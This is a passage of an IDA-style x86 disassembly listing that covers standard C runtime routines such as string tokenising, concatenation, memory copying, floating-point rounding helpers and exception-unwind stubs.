; Attributes: bp-based frame


sub_41C864	proc near		; CODE XREF: sub_401AC7+B5p
					; sub_401AC7+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C87D:				; CODE XREF: sub_41C864+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C87D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C8A5
		mov	edx, dword_4D9760


loc_41C8A5:				; CODE XREF: sub_41C864+39j
					; sub_41C864+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C8C5
		test	al, al
		jz	short loc_41C8C5
		inc	edx
		jmp	short loc_41C8A5
; ---------------------------------------------------------------------------


loc_41C8C5:				; CODE XREF: sub_41C864+58j
					; sub_41C864+5Cj
		mov	ebx, edx


loc_41C8C7:				; CODE XREF: sub_41C864+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C8EB
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C8E7
		inc	edx
		jmp	short loc_41C8C7
; ---------------------------------------------------------------------------


loc_41C8E7:				; CODE XREF: sub_41C864+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C8EB:				; CODE XREF: sub_41C864+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4D9760, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C864	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C900	proc near		; CODE XREF: sub_40981C+1Cp
					; sub_415D62+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F5D4
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C93E
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C94B
; ---------------------------------------------------------------------------


loc_41C93E:				; CODE XREF: sub_41C900+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F4BF
		pop	ecx
		pop	ecx


loc_41C94B:				; CODE XREF: sub_41C900+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C900	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C950	proc near		; CODE XREF: sub_40ADD4+88p
					; sub_40B901+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CA04
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C97A


loc_41C96B:				; CODE XREF: sub_41C950+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C9AB
		test	edi, 3
		jnz	short loc_41C96B


loc_41C97A:				; CODE XREF: sub_41C950+19j
					; sub_41C950+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C97A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C9B8
		test	ah, ah
		jz	short loc_41C9B3
		test	eax, 0FF0000h
		jz	short loc_41C9AE
		test	eax, 0FF000000h
		jnz	short loc_41C97A


loc_41C9AB:				; CODE XREF: sub_41C950+20j
		dec	edi
		jmp	short loc_41C9BB
; ---------------------------------------------------------------------------


loc_41C9AE:				; CODE XREF: sub_41C950+52j
		sub	edi, 2
		jmp	short loc_41C9BB
; ---------------------------------------------------------------------------


loc_41C9B3:				; CODE XREF: sub_41C950+4Bj
		sub	edi, 3
		jmp	short loc_41C9BB
; ---------------------------------------------------------------------------


loc_41C9B8:				; CODE XREF: sub_41C950+47j
		sub	edi, 4


loc_41C9BB:				; CODE XREF: sub_41C950+5Cj
					; sub_41C950+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C9D0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CA1C
		jmp	short loc_41C9EC
; ---------------------------------------------------------------------------


loc_41C9D0:				; CODE XREF: sub_41C950+75j
					; sub_41C950+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CA0A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CA00
		test	esi, 3
		jnz	short loc_41C9D0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CA1C


loc_41C9EC:				; CODE XREF: sub_41C950+7Ej
					; sub_41C950+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CA00


loc_41C9F3:				; CODE XREF: sub_41C950+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CA02
		dec	ecx
		jnz	short loc_41C9F3


loc_41CA00:				; CODE XREF: sub_41C950+8Bj
					; sub_41C950+A1j
		mov	[edi], cl


loc_41CA02:				; CODE XREF: sub_41C950+ABj
		pop	ebx
		pop	esi


loc_41CA04:				; CODE XREF: sub_41C950+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CA0A:				; CODE XREF: sub_41C950+85j
					; sub_41C950+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CA14:				; CODE XREF: sub_41C950+E4j
					; sub_41C950+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C9EC


loc_41CA1C:				; CODE XREF: sub_41C950+7Cj
					; sub_41C950+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CA14
		test	dl, dl
		jz	short loc_41CA0A
		test	dh, dh
		jz	short loc_41CA68
		test	edx, 0FF0000h
		jz	short loc_41CA58
		test	edx, 0FF000000h
		jnz	short loc_41CA14
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CA58:				; CODE XREF: sub_41C950+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CA68:				; CODE XREF: sub_41C950+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C950	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA73	proc near		; CODE XREF: ___:0040B055p
					; sub_40C29A+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B960
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420445
		add	esp, 10h
		leave
		retn
sub_41CA73	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAB0	proc near		; CODE XREF: sub_40B12F+62p
					; sub_40B12F+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CAD0
		cmp	edi, eax
		jb	loc_41CC48


loc_41CAD0:				; CODE XREF: sub_41CAB0+16j
		test	edi, 3
		jnz	short loc_41CAEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CB0C
		rep movsd
		jmp	off_41CBF8[edx*4]
; ---------------------------------------------------------------------------


loc_41CAEC:				; CODE XREF: sub_41CAB0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CB04
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CB0C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CB04:				; CODE XREF: sub_41CAB0+46j
		jmp	dword ptr loc_41CC08[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CB0C:				; CODE XREF: sub_41CAB0+31j
					; sub_41CAB0+8Ej ...
		jmp	off_41CB8C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CB20
		dd offset loc_41CB4C
		dd offset loc_41CB70
; ---------------------------------------------------------------------------


loc_41CB20:				; DATA XREF: sub_41CAB0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CB0C
		rep movsd
		jmp	off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CB4C:				; DATA XREF: sub_41CAB0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CB0C
		rep movsd
		jmp	off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CB70:				; DATA XREF: sub_41CAB0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CB0C
		rep movsd
		jmp	off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CB8C	dd offset loc_41CBEF	; DATA XREF: sub_41CAB0:loc_41CB0Cr
		dd offset loc_41CBDC
		dd offset loc_41CBD4
		dd offset loc_41CBCC
		dd offset loc_41CBC4
		dd offset loc_41CBBC
		dd offset loc_41CBB4
		dd offset loc_41CBAC
; ---------------------------------------------------------------------------


loc_41CBAC:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CBB4:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CBBC:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CBC4:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CBCC:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CBD4:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CBDC:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CBEF:				; CODE XREF: sub_41CAB0:loc_41CB0Cj
					; DATA XREF: sub_41CAB0:off_41CB8Co
		jmp	off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CBF8	dd offset loc_41CC08	; DATA XREF: sub_41CAB0+35r
					; sub_41CAB0+92r ...
		dd offset loc_41CC10
		dd offset loc_41CC1C
		dd offset loc_41CC30
; ---------------------------------------------------------------------------


loc_41CC08:				; CODE XREF: sub_41CAB0+35j
					; sub_41CAB0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CC10:				; CODE XREF: sub_41CAB0+35j
					; sub_41CAB0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CC1C:				; CODE XREF: sub_41CAB0+35j
					; sub_41CAB0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CC30:				; CODE XREF: sub_41CAB0+35j
					; sub_41CAB0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CC48:				; CODE XREF: sub_41CAB0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CC7C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CC70
		std
		rep movsd
		cld
		jmp	off_41CD90[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CC70:				; CODE XREF: sub_41CAB0+1B1j
					; sub_41CAB0+208j ...
		neg	ecx
		jmp	off_41CD40[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CC7C:				; CODE XREF: sub_41CAB0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CC94
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CC94+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CC94:				; CODE XREF: sub_41CAB0+1D6j
					; DATA XREF: sub_41CAB0+1DDr
		jmp	off_41CD90[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		test	al, 0CCh
		inc	ecx
		add	al, cl
		int	3		; Trap to Debugger
		inc	ecx
		add	al, dh
		int	3		; Trap to Debugger
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CC70
		std
		rep movsd
		cld
		jmp	off_41CD90[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CC70
		std
		rep movsd
		cld
		jmp	off_41CD90[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CC70
		std
		rep movsd
		cld
		jmp	off_41CD90[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CD44
		dd offset loc_41CD4C
		dd offset loc_41CD54
		dd offset loc_41CD5C
		dd offset loc_41CD64
		dd offset loc_41CD6C
		dd offset loc_41CD74
off_41CD40	dd offset loc_41CD87	; DATA XREF: sub_41CAB0+1C2r
; ---------------------------------------------------------------------------


loc_41CD44:				; DATA XREF: sub_41CAB0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CD4C:				; DATA XREF: sub_41CAB0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CD54:				; DATA XREF: sub_41CAB0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CD5C:				; DATA XREF: sub_41CAB0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CD64:				; DATA XREF: sub_41CAB0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CD6C:				; DATA XREF: sub_41CAB0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CD74:				; DATA XREF: sub_41CAB0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CD87:				; CODE XREF: sub_41CAB0+1C2j
					; DATA XREF: sub_41CAB0:off_41CD40o
		jmp	off_41CD90[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CD90	dd offset loc_41CDA0	; DATA XREF: sub_41CAB0+1B7r
					; sub_41CAB0:loc_41CC94r ...
		dd offset loc_41CDA8
		dd offset loc_41CDB8
		dd offset loc_41CDCC
; ---------------------------------------------------------------------------


loc_41CDA0:				; CODE XREF: sub_41CAB0+1B7j
					; sub_41CAB0:loc_41CC94j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDA8:				; CODE XREF: sub_41CAB0+1B7j
					; sub_41CAB0:loc_41CC94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDB8:				; CODE XREF: sub_41CAB0+1B7j
					; sub_41CAB0:loc_41CC94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDCC:				; CODE XREF: sub_41CAB0+1B7j
					; sub_41CAB0:loc_41CC94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CAB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CDE5(double)

sub_41CDE5	proc near		; CODE XREF: sub_40D2DB+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A640
		call	sub_42171E
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CE6B
		call	sub_4215E6
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CE4E
		cmp	eax, 2
		jle	short loc_41CE40
		cmp	eax, 3
		jnz	short loc_41CE4E
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420EF6
		add	esp, 10h
		jmp	short loc_41CEB0
; ---------------------------------------------------------------------------


loc_41CE40:				; CODE XREF: sub_41CDE5+3Fj
		push	esi
		push	ebx
		call	sub_42171E
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CEB0
; ---------------------------------------------------------------------------


loc_41CE4E:				; CODE XREF: sub_41CDE5+3Aj
					; sub_41CDE5+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41CEA8
; ---------------------------------------------------------------------------


loc_41CE6B:				; CODE XREF: sub_41CDE5+2Fj
		call	sub_4215AB
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CE8E


loc_41CE80:				; CODE XREF: sub_41CDE5+ACj
		push	esi
		push	ebx
		call	sub_42171E
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CEB0
; ---------------------------------------------------------------------------


loc_41CE8E:				; CODE XREF: sub_41CDE5+99j
		test	bl, 20h
		jnz	short loc_41CE80
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41CEA8:				; CODE XREF: sub_41CDE5+84j
		call	sub_420F49
		add	esp, 1Ch


loc_41CEB0:				; CODE XREF: sub_41CDE5+59j
					; sub_41CDE5+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CDE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CEB4	proc near		; CODE XREF: ___:0041BF0Dp
					; sub_4217E7+21p
					; DATA XREF: ...
		call	sub_41CECC
		call	sub_4217E7
		mov	dword_4D9768, eax
		call	sub_421797
		fnclex
		retn
sub_41CEB4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41CECC	proc near		; CODE XREF: sub_41CEB4p
		mov	eax, offset sub_421BD5
		mov	off_43AC2C, offset sub_42186A
		mov	off_43AC28, eax
		mov	off_43AC30, offset sub_4218D0
		mov	off_43AC34, offset sub_421810
		mov	off_43AC38, offset sub_4218B8
		mov	off_43AC3C, eax
		retn
sub_41CECC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF04	proc near		; CODE XREF: sub_40D2DB+1Bp
					; sub_40D2DB+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CF2B(double)

sub_41CF2B	proc near		; CODE XREF: sub_40D327+82p
					; ___:0040E725p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A658
		call	sub_42171E
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CFB1
		call	sub_4215E6
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CF94
		cmp	eax, 2
		jle	short loc_41CF86
		cmp	eax, 3
		jnz	short loc_41CF94
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420EF6
		add	esp, 10h
		jmp	short loc_41CFF6
; ---------------------------------------------------------------------------


loc_41CF86:				; CODE XREF: sub_41CF2B+3Fj
		push	esi
		push	ebx
		call	sub_42171E
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CFF6
; ---------------------------------------------------------------------------


loc_41CF94:				; CODE XREF: sub_41CF2B+3Aj
					; sub_41CF2B+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------


loc_41CFB1:				; CODE XREF: sub_41CF2B+2Fj
		call	sub_4215AB
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CFD4


loc_41CFC6:				; CODE XREF: sub_41CF2B+ACj
		push	esi
		push	ebx
		call	sub_42171E
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CFF6
; ---------------------------------------------------------------------------


loc_41CFD4:				; CODE XREF: sub_41CF2B+99j
		test	bl, 20h
		jnz	short loc_41CFC6
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41CFEE:				; CODE XREF: sub_41CF2B+84j
		call	sub_420F49
		add	esp, 1Ch


loc_41CFF6:				; CODE XREF: sub_41CF2B+59j
					; sub_41CF2B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CF2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFFA	proc near		; CODE XREF: ___:004220B7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41CFFA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D02E	proc near		; CODE XREF: sub_4221F7+199p
					; sub_4223BB+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D02E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D035	proc near		; CODE XREF: sub_4221F7+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D035	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D03C	proc near		; CODE XREF: sub_41D1EE+5Cp
					; sub_422046:loc_422077p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D064
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42663C
sub_41D03C	endp

; ---------------------------------------------------------------------------


loc_41D064:				; DATA XREF: sub_41D03C+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41D08B:				; CODE XREF: ___:00426D68j
